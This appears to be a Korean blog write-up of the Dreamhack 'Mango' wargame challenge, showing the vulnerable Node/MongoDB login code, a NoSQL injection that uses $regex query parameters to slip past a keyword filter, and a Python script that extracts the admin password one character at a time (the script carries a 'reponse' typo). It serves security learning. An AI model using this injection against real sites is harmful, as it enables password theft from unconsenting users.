드림핵
Dreamhack MANGO
https://dreamhack.io/wargame/challenges/90/
Mango
Description 이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다. 플래그는 admin 계정의 비밀번호 입니다. 플래그의 형식은 DH{...} 입니다. {'uid': 'admin', 'upw': 'DH{32alphanumeric}'} Reference Serv
dreamhack.io
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
- 로그인 페이지
쿼리로 전달 받은 uid랑 upw를 사용해서 데이터베이스 검색 후 찾아낸 정보를 반환
uid만 출력 > 공격을 통해 upw를 획득해야 함
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
- DH{32alphanumeric}
영숫자로 이루어진 32글자
- 문자열 필터
admin, dh, admi 문자열 필터링 확인
공격 코드 작성
$regex 지정된 정규식과 일치하는 문서를 선택
. 임의의 문자
? 반복 횟수 0회 이상 1회 이하 의미
uid=admin 를 우회 > ?uid[$regex]=ad.in (ad.in = admin)
upw=DH{ 를 우회 > upw[$regex]=D.{ (D.=DH)
즉, ?uid[$regex]=ad.in&upw[$regex]=D.{
한 개씩 비교해서 찾을 수 있지만 양이 많아서 반복 코드 작성..
import requests, string
url = '~~'
case = string.digits + string.ascii_letters # 십진수0~9, 영어 알파벳 대소문자
success = 'admin'
flag = ''
for i in range(32):
for char in case:
response = requests.get(f'{url}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{char}')
if reponse.text == success:
flag += char
break
print(f'FLAG: DH{{{flag}}}') # 문자열 스트링에서 { 는 {{ 로 사용
728x90
'Wargame > dreamhack' 카테고리의 다른 글
image-storage (0) | 2023.10.03 |
---|---|
command-injection-1 (0) | 2023.10.03 |
NoSQL (0) | 2023.10.03 |
simple_sqli (0) | 2023.10.03 |
XSS-1 (0) | 2023.10.03 |